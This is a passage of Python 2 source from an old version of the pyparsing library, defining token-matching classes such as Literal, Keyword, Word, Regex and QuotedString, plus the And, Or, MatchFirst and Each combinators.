        super(NoMatch,self).__init__()
        self.name = "NoMatch"
        self.mayReturnEmpty = True
        self.mayIndexError = False
        self.errmsg = "Unmatchable token"
        #self.myException.msg = self.errmsg

    def parseImpl( self, instring, loc, doActions=True ):
        exc = self.myException
        exc.loc = loc
        exc.pstr = instring
        raise exc


class Literal(Token):
    """Token to exactly match a specified string."""
    def __init__( self, matchString ):
        super(Literal,self).__init__()
        self.match = matchString
        self.matchLen = len(matchString)
        try:
            self.firstMatchChar = matchString[0]
        except IndexError:
            warnings.warn("null string passed to Literal; use Empty() instead", 
                            SyntaxWarning, stacklevel=2)
            self.__class__ = Empty
        self.name = '"%s"' % _ustr(self.match)
        self.errmsg = "Expected " + self.name
        self.mayReturnEmpty = False
        #self.myException.msg = self.errmsg
        self.mayIndexError = False

    # Performance tuning: this routine gets called a *lot*
    # if this is a single character match string  and the first character matches,
    # short-circuit as quickly as possible, and avoid calling startswith
    #~ @profile
    def parseImpl( self, instring, loc, doActions=True ):
        if (instring[loc] == self.firstMatchChar and
            (self.matchLen==1 or instring.startswith(self.match,loc)) ):
            return loc+self.matchLen, self.match
        #~ raise ParseException( instring, loc, self.errmsg )
        exc = self.myException
        exc.loc = loc
        exc.pstr = instring
        raise exc
_L = Literal

class Keyword(Token):
    """Token to exactly match a specified string as a keyword, that is, it must be 
       immediately followed by a non-keyword character.  Compare with Literal::
         Literal("if") will match the leading 'if' in 'ifAndOnlyIf'.
         Keyword("if") will not; it will only match the leading 'if in 'if x=1', or 'if(y==2)'
       Accepts two optional constructor arguments in addition to the keyword string:
       identChars is a string of characters that would be valid identifier characters,
       defaulting to all alphanumerics + "_" and "$"; caseless allows case-insensitive
       matching, default is False.
    """
    DEFAULT_KEYWORD_CHARS = alphanums+"_$"

    def __init__( self, matchString, identChars=DEFAULT_KEYWORD_CHARS, caseless=False ):
        super(Keyword,self).__init__()
        self.match = matchString
        self.matchLen = len(matchString)
        try:
            self.firstMatchChar = matchString[0]
        except IndexError:
            warnings.warn("null string passed to Keyword; use Empty() instead", 
                            SyntaxWarning, stacklevel=2)
        self.name = '"%s"' % self.match
        self.errmsg = "Expected " + self.name
        self.mayReturnEmpty = False
        #self.myException.msg = self.errmsg
        self.mayIndexError = False
        self.caseless = caseless
        if caseless:
            self.caselessmatch = matchString.upper()
            identChars = identChars.upper()
        self.identChars = _str2dict(identChars)

    def parseImpl( self, instring, loc, doActions=True ):
        if self.caseless:
            if ( (instring[ loc:loc+self.matchLen ].upper() == self.caselessmatch) and
                 (loc >= len(instring)-self.matchLen or instring[loc+self.matchLen].upper() not in self.identChars) and
                 (loc == 0 or instring[loc-1].upper() not in self.identChars) ):
                return loc+self.matchLen, self.match
        else:
            if (instring[loc] == self.firstMatchChar and
                (self.matchLen==1 or instring.startswith(self.match,loc)) and
                (loc >= len(instring)-self.matchLen or instring[loc+self.matchLen] not in self.identChars) and
                (loc == 0 or instring[loc-1] not in self.identChars) ):
                return loc+self.matchLen, self.match
        #~ raise ParseException( instring, loc, self.errmsg )
        exc = self.myException
        exc.loc = loc
        exc.pstr = instring
        raise exc

    def copy(self):
        c = super(Keyword,self).copy()
        c.identChars = Keyword.DEFAULT_KEYWORD_CHARS
        return c

    def setDefaultKeywordChars( chars ):
        """Overrides the default Keyword chars
        """
        Keyword.DEFAULT_KEYWORD_CHARS = chars
    setDefaultKeywordChars = staticmethod(setDefaultKeywordChars)


class CaselessLiteral(Literal):
    """Token to match a specified string, ignoring case of letters.
       Note: the matched results will always be in the case of the given
       match string, NOT the case of the input text.
    """
    def __init__( self, matchString ):
        super(CaselessLiteral,self).__init__( matchString.upper() )
        # Preserve the defining literal.
        self.returnString = matchString
        self.name = "'%s'" % self.returnString
        self.errmsg = "Expected " + self.name
        #self.myException.msg = self.errmsg

    def parseImpl( self, instring, loc, doActions=True ):
        if instring[ loc:loc+self.matchLen ].upper() == self.match:
            return loc+self.matchLen, self.returnString
        #~ raise ParseException( instring, loc, self.errmsg )
        exc = self.myException
        exc.loc = loc
        exc.pstr = instring
        raise exc

class CaselessKeyword(Keyword):
    def __init__( self, matchString, identChars=Keyword.DEFAULT_KEYWORD_CHARS ):
        super(CaselessKeyword,self).__init__( matchString, identChars, caseless=True )

    def parseImpl( self, instring, loc, doActions=True ):
        if ( (instring[ loc:loc+self.matchLen ].upper() == self.caselessmatch) and
             (loc >= len(instring)-self.matchLen or instring[loc+self.matchLen].upper() not in self.identChars) ):
            return loc+self.matchLen, self.match
        #~ raise ParseException( instring, loc, self.errmsg )
        exc = self.myException
        exc.loc = loc
        exc.pstr = instring
        raise exc

class Word(Token):
    """Token for matching words composed of allowed character sets.
       Defined with string containing all allowed initial characters,
       an optional string containing allowed body characters (if omitted,
       defaults to the initial character set), and an optional minimum,
       maximum, and/or exact length.  The default value for min is 1 (a
       minimum value < 1 is not valid); the default values for max and exact
       are 0, meaning no maximum or exact length restriction.
    """
    def __init__( self, initChars, bodyChars=None, min=1, max=0, exact=0, asKeyword=False ):
        super(Word,self).__init__()
        self.initCharsOrig = initChars
        self.initChars = _str2dict(initChars)
        if bodyChars :
            self.bodyCharsOrig = bodyChars
            self.bodyChars = _str2dict(bodyChars)
        else:
            self.bodyCharsOrig = initChars
            self.bodyChars = _str2dict(initChars)

        self.maxSpecified = max > 0

        if min < 1:
            raise ValueError, "cannot specify a minimum length < 1; use Optional(Word()) if zero-length word is permitted"

        self.minLen = min

        if max > 0:
            self.maxLen = max
        else:
            self.maxLen = __MAX_INT__

        if exact > 0:
            self.maxLen = exact
            self.minLen = exact

        self.name = _ustr(self)
        self.errmsg = "Expected " + self.name
        #self.myException.msg = self.errmsg
        self.mayIndexError = False
        self.asKeyword = asKeyword

        if ' ' not in self.initCharsOrig+self.bodyCharsOrig and (min==1 and max==0 and exact==0):
            if self.bodyCharsOrig == self.initCharsOrig:
                self.reString = "[%s]+" % _escapeRegexRangeChars(self.initCharsOrig)
            elif len(self.bodyCharsOrig) == 1:
                self.reString = "%s[%s]*" % \
                                      (re.escape(self.initCharsOrig),
                                      _escapeRegexRangeChars(self.bodyCharsOrig),)
            else:
                self.reString = "[%s][%s]*" % \
                                      (_escapeRegexRangeChars(self.initCharsOrig),
                                      _escapeRegexRangeChars(self.bodyCharsOrig),)
            if self.asKeyword:
                self.reString = r"\b"+self.reString+r"\b"
            try:
                self.re = re.compile( self.reString )
            except:
                self.re = None

    def parseImpl( self, instring, loc, doActions=True ):
        if self.re:
            result = self.re.match(instring,loc)
            if not result:
                exc = self.myException
                exc.loc = loc
                exc.pstr = instring
                raise exc

            loc = result.end()
            return loc,result.group()

        if not(instring[ loc ] in self.initChars):
            #~ raise ParseException( instring, loc, self.errmsg )
            exc = self.myException
            exc.loc = loc
            exc.pstr = instring
            raise exc
        start = loc
        loc += 1
        instrlen = len(instring)
        bodychars = self.bodyChars
        maxloc = start + self.maxLen
        maxloc = min( maxloc, instrlen )
        while loc < maxloc and instring[loc] in bodychars:
            loc += 1

        throwException = False
        if loc - start < self.minLen:
            throwException = True
        if self.maxSpecified and loc < instrlen and instring[loc] in bodychars:
            throwException = True
        if self.asKeyword:
            if (start>0 and instring[start-1] in bodychars) or (loc<instrlen and instring[loc] in bodychars):
                throwException = True

        if throwException:
            #~ raise ParseException( instring, loc, self.errmsg )
            exc = self.myException
            exc.loc = loc
            exc.pstr = instring
            raise exc

        return loc, instring[start:loc]

    def __str__( self ):
        try:
            return super(Word,self).__str__()
        except:
            pass


        if self.strRepr is None:

            def charsAsStr(s):
                if len(s)>4:
                    return s[:4]+"..."
                else:
                    return s

            if ( self.initCharsOrig != self.bodyCharsOrig ):
                self.strRepr = "W:(%s,%s)" % ( charsAsStr(self.initCharsOrig), charsAsStr(self.bodyCharsOrig) )
            else:
                self.strRepr = "W:(%s)" % charsAsStr(self.initCharsOrig)

        return self.strRepr


class Regex(Token):
    """Token for matching strings that match a given regular expression.
       Defined with string specifying the regular expression in a form recognized by the inbuilt Python re module.
    """
    def __init__( self, pattern, flags=0):
        """The parameters pattern and flags are passed to the re.compile() function as-is. See the Python re module for an explanation of the acceptable patterns and flags."""
        super(Regex,self).__init__()

        if len(pattern) == 0:
            warnings.warn("null string passed to Regex; use Empty() instead",
                    SyntaxWarning, stacklevel=2)

        self.pattern = pattern
        self.flags = flags

        try:
            self.re = re.compile(self.pattern, self.flags)
            self.reString = self.pattern
        except sre_constants.error,e:
            warnings.warn("invalid pattern (%s) passed to Regex" % pattern,
                SyntaxWarning, stacklevel=2)
            raise

        self.name = _ustr(self)
        self.errmsg = "Expected " + self.name
        #self.myException.msg = self.errmsg
        self.mayIndexError = False
        self.mayReturnEmpty = True

    def parseImpl( self, instring, loc, doActions=True ):
        result = self.re.match(instring,loc)
        if not result:
            exc = self.myException
            exc.loc = loc
            exc.pstr = instring
            raise exc

        loc = result.end()
        d = result.groupdict()
        ret = ParseResults(result.group())
        if d:
            for k in d.keys():
                ret[k] = d[k]
        return loc,ret

    def __str__( self ):
        try:
            return super(Regex,self).__str__()
        except:
            pass

        if self.strRepr is None:
            self.strRepr = "Re:(%s)" % repr(self.pattern)

        return self.strRepr


class QuotedString(Token):
    """Token for matching strings that are delimited by quoting characters.
    """
    def __init__( self, quoteChar, escChar=None, escQuote=None, multiline=False, unquoteResults=True, endQuoteChar=None):
        """
           Defined with the following parameters:
           - quoteChar - string of one or more characters defining the quote delimiting string
           - escChar - character to escape quotes, typically backslash (default=None)
           - escQuote - special quote sequence to escape an embedded quote string (such as SQL's "" to escape an embedded ") (default=None)
           - multiline - boolean indicating whether quotes can span multiple lines (default=False)
           - unquoteResults - boolean indicating whether the matched text should be unquoted (default=True)
           - endQuoteChar - string of one or more characters defining the end of the quote delimited string (default=None => same as quoteChar)
        """
        super(QuotedString,self).__init__()

        # remove white space from quote chars - wont work anyway
        quoteChar = quoteChar.strip()
        if len(quoteChar) == 0:
            warnings.warn("quoteChar cannot be the empty string",SyntaxWarning,stacklevel=2)
            raise SyntaxError()

        if endQuoteChar is None:
            endQuoteChar = quoteChar
        else:
            endQuoteChar = endQuoteChar.strip()
            if len(endQuoteChar) == 0:
                warnings.warn("endQuoteChar cannot be the empty string",SyntaxWarning,stacklevel=2)
                raise SyntaxError()

        self.quoteChar = quoteChar
        self.quoteCharLen = len(quoteChar)
        self.firstQuoteChar = quoteChar[0]
        self.endQuoteChar = endQuoteChar
        self.endQuoteCharLen = len(endQuoteChar)
        self.escChar = escChar
        self.escQuote = escQuote
        self.unquoteResults = unquoteResults

        if multiline:
            self.flags = re.MULTILINE | re.DOTALL
            self.pattern = r'%s(?:[^%s%s]' % \
                ( re.escape(self.quoteChar),
                  _escapeRegexRangeChars(self.endQuoteChar[0]),
                  (escChar is not None and _escapeRegexRangeChars(escChar) or '') )
        else:
            self.flags = 0
            self.pattern = r'%s(?:[^%s\n\r%s]' % \
                ( re.escape(self.quoteChar),
                  _escapeRegexRangeChars(self.endQuoteChar[0]),
                  (escChar is not None and _escapeRegexRangeChars(escChar) or '') )
        if len(self.endQuoteChar) > 1:
            self.pattern += (
                '|(?:' + ')|(?:'.join(["%s[^%s]" % (re.escape(self.endQuoteChar[:i]),
                                               _escapeRegexRangeChars(self.endQuoteChar[i]))
                                    for i in range(len(self.endQuoteChar)-1,0,-1)]) + ')'
                )
        if escQuote:
            self.pattern += (r'|(?:%s)' % re.escape(escQuote))
        if escChar:
            self.pattern += (r'|(?:%s.)' % re.escape(escChar))
            self.escCharReplacePattern = re.escape(self.escChar)+"(.)"
        self.pattern += (r')*%s' % re.escape(self.endQuoteChar))

        try:
            self.re = re.compile(self.pattern, self.flags)
            self.reString = self.pattern
        except sre_constants.error,e:
            warnings.warn("invalid pattern (%s) passed to Regex" % self.pattern,
                SyntaxWarning, stacklevel=2)
            raise

        self.name = _ustr(self)
        self.errmsg = "Expected " + self.name
        #self.myException.msg = self.errmsg
        self.mayIndexError = False
        self.mayReturnEmpty = True

    def parseImpl( self, instring, loc, doActions=True ):
        result = instring[loc] == self.firstQuoteChar and self.re.match(instring,loc) or None
        if not result:
            exc = self.myException
            exc.loc = loc
            exc.pstr = instring
            raise exc

        loc = result.end()
        ret = result.group()

        if self.unquoteResults:

            # strip off quotes
            ret = ret[self.quoteCharLen:-self.endQuoteCharLen]

            if isinstance(ret,__BASE_STRING__):
                # replace escaped characters
                if self.escChar:
                    ret = re.sub(self.escCharReplacePattern,"\g<1>",ret)

                # replace escaped quotes
                if self.escQuote:
                    ret = ret.replace(self.escQuote, self.endQuoteChar)

        return loc, ret

    def __str__( self ):
        try:
            return super(QuotedString,self).__str__()
        except:
            pass

        if self.strRepr is None:
            self.strRepr = "quoted string, starting with %s ending with %s" % (self.quoteChar, self.endQuoteChar)

        return self.strRepr


class CharsNotIn(Token):
    """Token for matching words composed of characters *not* in a given set.
       Defined with string containing all disallowed characters, and an optional 
       minimum, maximum, and/or exact length.  The default value for min is 1 (a
       minimum value < 1 is not valid); the default values for max and exact
       are 0, meaning no maximum or exact length restriction.
    """
    def __init__( self, notChars, min=1, max=0, exact=0 ):
        super(CharsNotIn,self).__init__()
        self.skipWhitespace = False
        self.notChars = notChars

        if min < 1:
            raise ValueError, "cannot specify a minimum length < 1; use Optional(CharsNotIn()) if zero-length char group is permitted"

        self.minLen = min

        if max > 0:
            self.maxLen = max
        else:
            self.maxLen = __MAX_INT__

        if exact > 0:
            self.maxLen = exact
            self.minLen = exact

        self.name = _ustr(self)
        self.errmsg = "Expected " + self.name
        self.mayReturnEmpty = ( self.minLen == 0 )
        #self.myException.msg = self.errmsg
        self.mayIndexError = False

    def parseImpl( self, instring, loc, doActions=True ):
        if instring[loc] in self.notChars:
            #~ raise ParseException( instring, loc, self.errmsg )
            exc = self.myException
            exc.loc = loc
            exc.pstr = instring
            raise exc

        start = loc
        loc += 1
        notchars = self.notChars
        maxlen = min( start+self.maxLen, len(instring) )
        while loc < maxlen and \
              (instring[loc] not in notchars):
            loc += 1

        if loc - start < self.minLen:
            #~ raise ParseException( instring, loc, self.errmsg )
            exc = self.myException
            exc.loc = loc
            exc.pstr = instring
            raise exc

        return loc, instring[start:loc]

    def __str__( self ):
        try:
            return super(CharsNotIn, self).__str__()
        except:
            pass

        if self.strRepr is None:
            if len(self.notChars) > 4:
                self.strRepr = "!W:(%s...)" % self.notChars[:4]
            else:
                self.strRepr = "!W:(%s)" % self.notChars

        return self.strRepr

class White(Token):
    """Special matching class for matching whitespace.  Normally, whitespace is ignored
       by pyparsing grammars.  This class is included when some whitespace structures
       are significant.  Define with a string containing the whitespace characters to be
       matched; default is " \\t\\n".  Also takes optional min, max, and exact arguments,
       as defined for the Word class."""
    whiteStrs = {
        " " : "<SPC>",
        "\t": "<TAB>",
        "\n": "<LF>",
        "\r": "<CR>",
        "\f": "<FF>",
        }
    def __init__(self, ws=" \t\r\n", min=1, max=0, exact=0):
        super(White,self).__init__()
        self.matchWhite = ws
        self.setWhitespaceChars( "".join([c for c in self.whiteChars if c not in self.matchWhite]) )
        #~ self.leaveWhitespace()
        self.name = ("".join([White.whiteStrs[c] for c in self.matchWhite]))
        self.mayReturnEmpty = True
        self.errmsg = "Expected " + self.name
        #self.myException.msg = self.errmsg

        self.minLen = min

        if max > 0:
            self.maxLen = max
        else:
            self.maxLen = __MAX_INT__

        if exact > 0:
            self.maxLen = exact
            self.minLen = exact

    def parseImpl( self, instring, loc, doActions=True ):
        if not(instring[ loc ] in self.matchWhite):
            #~ raise ParseException( instring, loc, self.errmsg )
            exc = self.myException
            exc.loc = loc
            exc.pstr = instring
            raise exc
        start = loc
        loc += 1
        maxloc = start + self.maxLen
        maxloc = min( maxloc, len(instring) )
        while loc < maxloc and instring[loc] in self.matchWhite:
            loc += 1

        if loc - start < self.minLen:
            #~ raise ParseException( instring, loc, self.errmsg )
            exc = self.myException
            exc.loc = loc
            exc.pstr = instring
            raise exc

        return loc, instring[start:loc]


class _PositionToken(Token):
    def __init__( self ):
        super(_PositionToken,self).__init__()
        self.name=self.__class__.__name__
        self.mayReturnEmpty = True
        self.mayIndexError = False

class GoToColumn(_PositionToken):
    """Token to advance to a specific column of input text; useful for tabular report scraping."""
    def __init__( self, colno ):
        super(GoToColumn,self).__init__()
        self.col = colno

    def preParse( self, instring, loc ):
        if col(loc,instring) != self.col:
            instrlen = len(instring)
            if self.ignoreExprs:
                loc = self._skipIgnorables( instring, loc )
            while loc < instrlen and instring[loc].isspace() and col( loc, instring ) != self.col :
                loc += 1
        return loc

    def parseImpl( self, instring, loc, doActions=True ):
        thiscol = col( loc, instring )
        if thiscol > self.col:
            raise ParseException( instring, loc, "Text not in expected column", self )
        newloc = loc + self.col - thiscol
        ret = instring[ loc: newloc ]
        return newloc, ret

class LineStart(_PositionToken):
    """Matches if current position is at the beginning of a line within the parse string"""
    def __init__( self ):
        super(LineStart,self).__init__()
        self.setWhitespaceChars( " \t" )
        self.errmsg = "Expected start of line"
        #self.myException.msg = self.errmsg

    def preParse( self, instring, loc ):
        preloc = super(LineStart,self).preParse(instring,loc)
        if instring[preloc] == "\n":
            loc += 1
        return loc

    def parseImpl( self, instring, loc, doActions=True ):
        if not( loc==0 or
            (loc == self.preParse( instring, 0 )) or
            (instring[loc-1] == "\n") ): #col(loc, instring) != 1:
            #~ raise ParseException( instring, loc, "Expected start of line" )
            exc = self.myException
            exc.loc = loc
            exc.pstr = instring
            raise exc
        return loc, []

class LineEnd(_PositionToken):
    """Matches if current position is at the end of a line within the parse string"""
    def __init__( self ):
        super(LineEnd,self).__init__()
        self.setWhitespaceChars( " \t" )
        self.errmsg = "Expected end of line"
        #self.myException.msg = self.errmsg

    def parseImpl( self, instring, loc, doActions=True ):
        if loc<len(instring):
            if instring[loc] == "\n":
                return loc+1, "\n"
            else:
                #~ raise ParseException( instring, loc, "Expected end of line" )
                exc = self.myException
                exc.loc = loc
                exc.pstr = instring
                raise exc
        elif loc == len(instring):
            return loc+1, []
        else:
            exc = self.myException
            exc.loc = loc
            exc.pstr = instring
            raise exc

class StringStart(_PositionToken):
    """Matches if current position is at the beginning of the parse string"""
    def __init__( self ):
        super(StringStart,self).__init__()
        self.errmsg = "Expected start of text"
        #self.myException.msg = self.errmsg

    def parseImpl( self, instring, loc, doActions=True ):
        if loc != 0:
            # see if entire string up to here is just whitespace and ignoreables
            if loc != self.preParse( instring, 0 ):
                #~ raise ParseException( instring, loc, "Expected start of text" )
                exc = self.myException
                exc.loc = loc
                exc.pstr = instring
                raise exc
        return loc, []

class StringEnd(_PositionToken):
    """Matches if current position is at the end of the parse string"""
    def __init__( self ):
        super(StringEnd,self).__init__()
        self.errmsg = "Expected end of text"
        #self.myException.msg = self.errmsg

    def parseImpl( self, instring, loc, doActions=True ):
        if loc < len(instring):
            #~ raise ParseException( instring, loc, "Expected end of text" )
            exc = self.myException
            exc.loc = loc
            exc.pstr = instring
            raise exc
        elif loc == len(instring):
            return loc+1, []
        elif loc > len(instring):
            return loc, []
        else:
            exc = self.myException
            exc.loc = loc
            exc.pstr = instring
            raise exc

class WordStart(_PositionToken):
    """Matches if the current position is at the beginning of a Word, and
       is not preceded by any character in a given set of wordChars
       (default=printables). To emulate the \b behavior of regular expressions,
       use WordStart(alphanums). WordStart will also match at the beginning of
       the string being parsed, or at the beginning of a line.
    """
    def __init__(self, wordChars = printables):
        super(WordStart,self).__init__()
        self.wordChars = _str2dict(wordChars)
        self.errmsg = "Not at the start of a word"

    def parseImpl(self, instring, loc, doActions=True ):
        if loc != 0:
            if (instring[loc-1] in self.wordChars or
                instring[loc] not in self.wordChars):
                exc = self.myException
                exc.loc = loc
                exc.pstr = instring
                raise exc
        return loc, []

class WordEnd(_PositionToken):
    """Matches if the current position is at the end of a Word, and
       is not followed by any character in a given set of wordChars
       (default=printables). To emulate the \b behavior of regular expressions,
       use WordEnd(alphanums). WordEnd will also match at the end of
       the string being parsed, or at the end of a line.
    """
    def __init__(self, wordChars = printables):
        super(WordEnd,self).__init__()
        self.wordChars = _str2dict(wordChars)
        self.skipWhitespace = False
        self.errmsg = "Not at the end of a word"

    def parseImpl(self, instring, loc, doActions=True ):
        instrlen = len(instring)
        if instrlen>0 and loc<instrlen:
            if (instring[loc] in self.wordChars or
                instring[loc-1] not in self.wordChars):
                #~ raise ParseException( instring, loc, "Expected end of word" )
                exc = self.myException
                exc.loc = loc
                exc.pstr = instring
                raise exc
        return loc, []


class ParseExpression(ParserElement):
    """Abstract subclass of ParserElement, for combining and post-processing parsed tokens."""
    def __init__( self, exprs, savelist = False ):
        super(ParseExpression,self).__init__(savelist)
        if isinstance( exprs, list ):
            self.exprs = exprs
        elif isinstance( exprs, __BASE_STRING__ ):
            self.exprs = [ Literal( exprs ) ]
        else:
            self.exprs = [ exprs ]
        self.callPreparse = False

    def __getitem__( self, i ):
        return self.exprs[i]

    def append( self, other ):
        self.exprs.append( other )
        self.strRepr = None
        return self

    def leaveWhitespace( self ):
        """Extends leaveWhitespace defined in base class, and also invokes leaveWhitespace on
           all contained expressions."""
        self.skipWhitespace = False
        self.exprs = [ e.copy() for e in self.exprs ]
        for e in self.exprs:
            e.leaveWhitespace()
        return self

    def ignore( self, other ):
        if isinstance( other, Suppress ):
            if other not in self.ignoreExprs:
                super( ParseExpression, self).ignore( other )
                for e in self.exprs:
                    e.ignore( self.ignoreExprs[-1] )
        else:
            super( ParseExpression, self).ignore( other )
            for e in self.exprs:
                e.ignore( self.ignoreExprs[-1] )
        return self

    def __str__( self ):
        try:
            return super(ParseExpression,self).__str__()
        except:
            pass

        if self.strRepr is None:
            self.strRepr = "%s:(%s)" % ( self.__class__.__name__, _ustr(self.exprs) )
        return self.strRepr

    def streamline( self ):
        super(ParseExpression,self).streamline()

        for e in self.exprs:
            e.streamline()

        # collapse nested And's of the form And( And( And( a,b), c), d) to And( a,b,c,d )
        # but only if there are no parse actions or resultsNames on the nested And's
        # (likewise for Or's and MatchFirst's)
        if ( len(self.exprs) == 2 ):
            other = self.exprs[0]
            if ( isinstance( other, self.__class__ ) and
                  not(other.parseAction) and
                  other.resultsName is None and
                  not other.debug ):
                self.exprs = other.exprs[:] + [ self.exprs[1] ]
                self.strRepr = None
                self.mayReturnEmpty |= other.mayReturnEmpty
                self.mayIndexError  |= other.mayIndexError

            other = self.exprs[-1]
            if ( isinstance( other, self.__class__ ) and
                  not(other.parseAction) and
                  other.resultsName is None and
                  not other.debug ):
                self.exprs = self.exprs[:-1] + other.exprs[:]
                self.strRepr = None
                self.mayReturnEmpty |= other.mayReturnEmpty
                self.mayIndexError  |= other.mayIndexError

        return self

    def setResultsName( self, name, listAllMatches=False ):
        ret = super(ParseExpression,self).setResultsName(name,listAllMatches)
        return ret

    def validate( self, validateTrace=[] ):
        tmp = validateTrace[:]+[self]
        for e in self.exprs:
            e.validate(tmp)
        self.checkRecursion( [] )

class And(ParseExpression):
    """Requires all given ParseExpressions to be found in the given order.
       Expressions may be separated by whitespace.
       May be constructed using the '+' operator.
    """
    def __init__( self, exprs, savelist = True ):
        super(And,self).__init__(exprs, savelist)
        self.mayReturnEmpty = True
        for e in self.exprs:
            if not e.mayReturnEmpty:
                self.mayReturnEmpty = False
                break
        self.setWhitespaceChars( exprs[0].whiteChars )
        self.skipWhitespace = exprs[0].skipWhitespace
        self.callPreparse = True

    def parseImpl( self, instring, loc, doActions=True ):
        # pass False as last arg to _parse for first element, since we already
        # pre-parsed the string as part of our And pre-parsing
        loc, resultlist = self.exprs[0]._parse( instring, loc, doActions, callPreParse=False )
        for e in self.exprs[1:]:
            loc, exprtokens = e._parse( instring, loc, doActions )
            if exprtokens or exprtokens.keys():
                resultlist += exprtokens
        return loc, resultlist

    def __iadd__(self, other ):
        if isinstance( other, __BASE_STRING__ ):
            other = Literal( other )
        return self.append( other ) #And( [ self, other ] )

    def checkRecursion( self, parseElementList ):
        subRecCheckList = parseElementList[:] + [ self ]
        for e in self.exprs:
            e.checkRecursion( subRecCheckList )
            if not e.mayReturnEmpty:
                break

    def __str__( self ):
        if hasattr(self,"name"):
            return self.name

        if self.strRepr is None:
            self.strRepr = "{" + " ".join( [ _ustr(e) for e in self.exprs ] ) + "}"

        return self.strRepr


class Or(ParseExpression):
    """Requires that at least one ParseExpression is found.
       If two expressions match, the expression that matches the longest string will be used.
       May be constructed using the '^' operator.
    """
    def __init__( self, exprs, savelist = False ):
        super(Or,self).__init__(exprs, savelist)
        self.mayReturnEmpty = False
        for e in self.exprs:
            if e.mayReturnEmpty:
                self.mayReturnEmpty = True
                break

    def parseImpl( self, instring, loc, doActions=True ):
        maxExcLoc = -1
        maxMatchLoc = -1
        for e in self.exprs:
            try:
                loc2 = e.tryParse( instring, loc )
            except ParseException, err:
                if err.loc > maxExcLoc:
                    maxException = err
                    maxExcLoc = err.loc
            except IndexError:
                if len(instring) > maxExcLoc:
                    maxException = ParseException(instring,len(instring),e.errmsg,self)
                    maxExcLoc = len(instring)
            else:
                if loc2 > maxMatchLoc:
                    maxMatchLoc = loc2
                    maxMatchExp = e
        
        if maxMatchLoc < 0:
            if self.exprs:
                raise maxException
            else:
                raise ParseException(instring, loc, "no defined alternatives to match", self)

        return maxMatchExp._parse( instring, loc, doActions )

    def __ixor__(self, other ):
        if isinstance( other, __BASE_STRING__ ):
            other = Literal( other )
        return self.append( other ) #Or( [ self, other ] )

    def __str__( self ):
        if hasattr(self,"name"):
            return self.name
            
        if self.strRepr is None:
            self.strRepr = "{" + " ^ ".join( [ _ustr(e) for e in self.exprs ] ) + "}"
        
        return self.strRepr
    
    def checkRecursion( self, parseElementList ):
        subRecCheckList = parseElementList[:] + [ self ]
        for e in self.exprs:
            e.checkRecursion( subRecCheckList )


class MatchFirst(ParseExpression):
    """Requires that at least one ParseExpression is found.
       If two expressions match, the first one listed is the one that will match.
       May be constructed using the '|' operator.
    """
    def __init__( self, exprs, savelist = False ):
        super(MatchFirst,self).__init__(exprs, savelist)
        if exprs:
            self.mayReturnEmpty = False
            for e in self.exprs:
                if e.mayReturnEmpty:
                    self.mayReturnEmpty = True
                    break
        else:
            self.mayReturnEmpty = True
    
    def parseImpl( self, instring, loc, doActions=True ):
        maxExcLoc = -1
        for e in self.exprs:
            try:
                ret = e._parse( instring, loc, doActions )
                return ret
            except ParseException, err:
                if err.loc > maxExcLoc:
                    maxException = err
                    maxExcLoc = err.loc
            except IndexError:
                if len(instring) > maxExcLoc:
                    maxException = ParseException(instring,len(instring),e.errmsg,self)
                    maxExcLoc = len(instring)

        # only got here if no expression matched, raise exception for match that made it the furthest
        else:
            if self.exprs:
                raise maxException
            else:
                raise ParseException(instring, loc, "no defined alternatives to match", self)

    def __ior__(self, other ):
        if isinstance( other, __BASE_STRING__ ):
            other = Literal( other )
        return self.append( other ) #MatchFirst( [ self, other ] )

    def __str__( self ):
        if hasattr(self,"name"):
            return self.name
            
        if self.strRepr is None:
            self.strRepr = "{" + " | ".join( [ _ustr(e) for e in self.exprs ] ) + "}"
        
        return self.strRepr
    
    def checkRecursion( self, parseElementList ):
        subRecCheckList = parseElementList[:] + [ self ]
        for e in self.exprs:
            e.checkRecursion( subRecCheckList )


class Each(ParseExpression):
    """Requires all given ParseExpressions to be found, but in any order.
       Expressions may be separated by whitespace.
       May be constructed using the '&' operator.
    """
    def __init__( self, exprs, savelist = True ):
        super(Each,self).__init__(exprs, savelist)
        self.mayReturnEmpty = True
        for e in self.exprs:
            if not e.mayReturnEmpty:
                self.mayReturnEmpty = False
                break
        self.skipWhitespace = True
        self.optionals = [ e.expr for e in exprs if isinstance(e,Optional) ]
        self.multioptionals = [ e.expr for e in exprs if isinstance(e,ZeroOrMore) ]
        self.multirequired = [ e.expr for e in exprs if isinstance(e,OneOrMore) ]
        self.required = [ e for e in exprs if not isinstance(e,(Optional,ZeroOrMore,OneOrMore)) ]
        self.required += self.multirequired

    def parseImpl( self, instring, loc, doActions=True ):
        tmpLoc = loc
        tmpReqd = self.required[:]
        tmpOpt  = self.optionals[:]
        matchOrder = []

        keepMatching = True
        while keepMatching:
            tmpExprs = tmpReqd + tmpOpt + self.multioptionals + self.multirequired
            failed = []
            for e in tmpExprs:
                try:
                    tmpLoc = e.tryParse( instring, tmpLoc )
                except ParseException:
                    failed.append(e)
                else:
                    matchOrder.append(e)
                    if e in tmpReqd:
                        tmpReqd.remove(e)
                    elif e in tmpOpt:
                        tmpOpt.remove(e)
            if len(failed) == len(tmpExprs):
                keepMatching = False
        
        if tmpReqd:
            missing = ", ".join( [ _ustr(e) for e in tmpReqd ] )
            raise ParseException(instring,loc,"Missing one or more required elements (%s)" % missing )

        resultlist = []
        for e in matchOrder:
            loc,results = e._parse(instring,loc,doActions)
            resultlist.append(results)
            
        finalResults = ParseResults([])
        for r in resultlist:
            dups = {}
            for k in r.keys():
                if k in finalResults.keys():
                    tmp = ParseResults(finalResults[k])
                    tmp += ParseResults(r[k])
                    dups[k] = tmp
            finalResults += ParseResults(r)
            for k,v in dups.items():
                finalResults[k] = v
        return loc, finalResults

    def __str__( self ):
        if hasattr(self,"name"):
            return self.name
            
        if self.strRepr is None:
            self.strRepr = "{" + " & ".join( [ _ustr(e) for e in self.exprs ] ) + "}"
        
        return self.strRepr
    
    def checkRecursion( self, parseElementList ):
        subRecCheckList = parseElementList[:] + [ self ]
        for e in self.exprs:
            e.checkRecursion( subRecCheckList )


class ParseElementEnhance(ParserElement):
    """Abstract subclass of ParserElement, for combining and post-processing parsed tokens."""
    def __init__( self, expr, savelist=False ):
        super(ParseElementEnhance,self).__init__(savelist)
        if isinstance( expr, __BASE_STRING__ ):
            expr = Literal(expr)
        self.expr = expr
        self.strRepr = None
        if expr is not None:
            self.mayIndexError = expr.mayIndexError
            self.mayReturnEmpty = expr.mayReturnEmpty
            self.setWhitespaceChars( expr.whiteChars )
            self.skipWhitespace = expr.skipWhitespace
